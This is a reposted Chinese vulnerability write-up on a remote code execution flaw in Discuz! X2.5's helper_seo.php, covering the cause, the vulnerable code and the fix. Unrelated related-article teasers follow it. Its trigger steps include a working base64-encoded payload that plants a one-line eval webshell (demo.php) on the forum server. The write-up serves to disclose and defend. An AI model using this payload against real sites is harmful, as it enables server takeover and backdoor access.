Discuz! X2.5 /source/class/helper/helper_seo.php Remote Code Execution Vul

news/2024/5/13 8:08:35/文章来源:https://blog.csdn.net/weixin_34187862/article/details/85724540

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

SEO模块中的preg_replace+修正符e+双引号引发的远程代码执行漏洞

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2012-06420


2. 漏洞触发条件

1. 后台设置,打开SEO扩展 
2. 注册任意账户
3. 登陆用户,发表blog日志(注意是日志)
4. 添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} 
5. 访问日志,论坛根目录下生成demo.php,一句发密码c

Relevant Link:

http://weibo.com/2242334800/ygxonqLF9?type=comment#_rnd1432431149028
http://sebug.net/vuldb/ssvid-60082


3. 漏洞影响范围
4. 漏洞代码分析

/source/class/helper/helper_seo.php

..
if($searcharray && $replacearray) 
{$_G['trunsform_tmp'] = array(); /*1. 用于替换的$content来自于用户输入的图片地址 2. preg_place替换后的内容使用了双引号包裹3. preg_replace的搜索正则使用了"e"修饰符导致PHP在完成替换后,会使用eval对替换后的内容进行一次执行,又因为: eval("${${}}")这种语法可以动态执行,最终导致黑客可以远程代码注入*/$content = preg_replace("/(<script\s+.*?>.*?<\/script>)|(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\\1\\2\\3\\4", "</relatedlink>")', $content);$content = preg_replace($searcharray, $replacearray, $content, 1);$content = preg_replace("/<relatedlink>(.*?)<\/relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
..

Relevant Link:

http://www.wooyun.org/upload/201204/2620001868555ef2f2153e9b615d32467724d943.jpg


5. 防御方法

/source/class/helper/helper_seo.php

..
if($searcharray && $replacearray) 
{$_G['trunsform_tmp'] = array(); /* 修复后将双引号改为单引号,使动态语法${${}}失去执行能力 */$content = preg_replace("/(<script\s+.*?>.*?<\/script>)|(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", "helper_seo::base64_transform('encode', '<relatedlink>', '\\1\\2\\3\\4', '</relatedlink>')", $content);/* */$content = preg_replace($searcharray, $replacearray, $content, 1);$content = preg_replace("/<relatedlink>(.*?)<\/relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
..


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_745234.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

巧妙使用Firebug插件,快速监控网站打开缓慢的原因

原文 巧妙使用Firebug插件&#xff0c;快速监控网站打开缓慢的原因 很多用户会问&#xff0c;我的网站首页才50KB&#xff0c;打开网页用了近60秒才打开&#xff1f;如何解释&#xff1f;  用户抱怨服务器运行缓慢&#xff0c;w3wp.exe 出现 CPU 100%&#xff0c;每个网管都…

网站https的配置过程

2019独角兽企业重金招聘Python工程师标准>>> 背景&#xff1a;开发小程序&#xff0c;服务端域名需要https 服务器情况&#xff1a;阿里云ECS&#xff0c;负载均衡&#xff0c;openresty反向代理 1、阿里云证书申请 申请的阿里云免费证书&#xff0c;免费证书仅支持…

MeteoInfo 新网站

MeteoInfo特别是MeteoInfoLab的推广需要写大量详细的帮助文档和示例程序&#xff0c;MeteoInfo原先的网站使用最原始的编写.html文件的方式来更新&#xff0c;效率实在太低&#xff0c;最近学习了一下Sphinx (http://sphinx-doc.org/) - Python文档创建工具&#xff0c;利用了r…

10个很棒的学习Android 开发的网站(转)

看到江湖旅人 写的《10个很棒的学习iOS开发的网站 - 简书》&#xff0c;所以就忍不住写Android 啦&#xff0c;也希望对大家有帮助。我推荐的网站&#xff0c;都是我在学习Android 开发过程中发现的好网站&#xff0c;给初学者一些建议&#xff0c;少走一些弯路。 Android Deve…

如何使用 Performance API 让您的网站更快

本教程介绍了如何使用 Performance API 记录来自访问您的应用程序的真实用户的类似 DevTool 的统计信息。使用浏览器 DevTools 评估 Web 应用程序性能很有用&#xff0c;但复制实际使用情况并不容易。使用不同设备、浏览器和网络的不同地点的人都会有不同的体验。性能 API 简介…

如何为 Drupal 7 网站添加悬浮的反馈按钮?

最近有客户咨询我们要怎么为 Drupal 网站添加悬浮按钮&#xff0c;方便访客能够链接到反馈表单页面。很幸运&#xff0c;使用 Feedback Simple 模块可以很容易实现。在这篇短教程中&#xff0c;我将和大家分享如何添加链接到“反馈”页面的悬浮按钮。创建反馈页面使用 Webform …

但凡早知道这28个网站,都不至于学得那么不扎实

大家好&#xff0c;我是零一&#xff0c;经常有读者问我&#xff1a;自学怎么学&#xff0c;要学的知识那么多&#xff0c;根本记不住怎么办&#xff1f;读者咨询我一般刚开始回答的时候都是说要多做笔记总结&#xff0c;更重要的就是要上手敲代码实践&#xff0c;如果抛开任何…

网站就必须用响应式布局吗?MVC视图展现模式之移动布局

本文先引入给读者一个自己研究的机会&#xff0c;下次深入说明一下&#xff1a; 废话不多说&#xff0c;直接上图 新建一个mvc的项目 在视图里面添加一个移动端视图 正常访问一下 Bootstrap自带的响应式的方式&#xff08;页面代码并没有改变&#xff09; 我们来模拟一下移动端…

基于django的视频点播网站开发-step13-后台反馈功能

用户反馈管理功能&#xff0c;是对前端用户反馈的问题进行展示&#xff0c;并可实现删除功能。是一个很实用的功能&#xff0c;也算是当代网站的标配。它可以实时的跟踪到用户对网站的各种意见和吐槽&#xff0c;开发者能及时修缮网站功能或者修改网站bug。 Demo地址 反馈管理包…

国外SEO分析工具应用心得

第一部分&#xff1a;常用分析术语理解(一) PC端1.Title Tag&#xff0c;这个标签会显示在搜索结果页的网站链接部分(比如百度&#xff0c;通过标签中的某几个关键词去搜索&#xff0c;可能会在百度结果中得到较为靠前的排名)&#xff0c;同时该标签会显示在浏览器的标题栏&…

南美一黑客公开哥伦比亚政府网站数据

据外媒报道&#xff0c;一名叫做Hanom1960的黑客于日前攻击了哥伦比亚信息技术与通信部网站和国家教育部网站&#xff0c;并将从上面窃取来的数据泄露出去。这名自称隶属于LulsZec黑客组织的黑客于上周首次亮相&#xff0c;当时&#xff0c;他盗窃了来自哥斯达黎加外交部的数据…

让浏览器自动在指定网站地址前加https

由于在公司只能上内网&#xff0c;但是有些网站在最前面加上https://就可以登录&#xff0c;因此有了这个需求&#xff1a; Chrome浏览器&#xff1a; 1.新建网页&#xff1a;chrome://net-internals/#hsts 2.以cnblogs为例&#xff0c;按如下设置 点击add即可~ 转载于:https:/…

大学网站首页代码html_网站代码优化购物网站优化排名首页旅游排名网站优化新网站快速优化排名商务网站流量优化手机端优化网站排名网站搜索排名优化...

网站代码优化购物网站优化排名首页旅游排名网站优化新网站快速优化排名商务网站流量优化手机端优化网站排名网站搜索排名优化网站代码优化购物网站优化排名首页旅游排名网站优化新网站快速优化排名商务网站流量优化手机端优化网站排名网站搜索排名优化网站代码优化购物网站优化…

Eclipse 发布到网站的附加产品的形式 Update Site

Eclipse 发布到网站的附加产品的形式 Update Site 通过Update Site Project项目将自己做的插件产品公布到公网上&#xff0c;给客户或其它測试人员下载和应用&#xff0c;这样自己的插件就以网站的形式暴露给公众了&#xff0c;谁都能够下载下来试用它。 1. 创建Plug-inProject…

网易云音乐网站项目问题整理

排版有些麻烦&#xff0c;简单的方法是设div,而我却用了直接添加图片的方法 以下是代码说明&#xff1a; 1 <div class"xiazaiquyu">2 <!--第一列-->3 <div class"first">4 <im…

云服务器有必要做cdn吗,网站云服务器使用CDN加速的必要性

最近一直有小伙伴咨询小编&#xff1a;网站云服务器在网站运营过程中有没有必要使用CDN加速&#xff1f; 小网站需要用CDN吗&#xff1f;对于这个问题小编的建议是&#xff1a;有必要&#xff0c;非常必要&#xff01;为什么这么说&#xff0c;今天小编给大家详细介绍使用CDN的…

使用Windows Server 2003搭建一个asp+access网站

鼠标右键->新建->网站->下一步->描述(随便给一个&#xff0c;这里我以test为例) ->下一步->下一步->输入主目录的路径&#xff0c;默认路径下是C:\Inetpub\wwwroot->下一步->下一步->完成 当前已创建好网站&#xff0c;默认是停止状态的(因为默认…

如何优化SEO的网站结构

如何优化SEO的网站结构 明确定义的站点结构使搜索引擎爬虫的工作更容易&#xff0c;这意味着更好的索引编制和更多机会获得更高的排名。 随着百度排名算法&#xff0c;语音搜索和移动优先索引中人工智能的引入&#xff0c;网站的结构变得比以往任何时候都更加重要。 在网站上抛…

成立仅8个月的个人网站,月收入几十万美金,很难做到吗?

http://new.iheima.com/detail/2014/0205/58390.html viralnova.com 是一个2013年5月才成立的个人网站&#xff0c;这个网站最近在美国一些科技博客曝光量非常高&#xff0c;大家都觉得这个网站是个小奇迹。 原因是这个个人网站成立仅仅只有8个多月&#xff0c;但是每天的独立用…

【面试精选】关于大型网站系统架构你不得不懂的10个问题

该文已加入笔主的开源项目——JavaGuide&#xff08;一份涵盖大部分Java程序员所需要掌握的核心知识的文档类项目),地址:https://github.com/Snailclimb/JavaGuide 。觉得不错的话&#xff0c;记得点个Star。下面这些问题都是一线大厂的真实面试问题&#xff0c;不论是对你面试…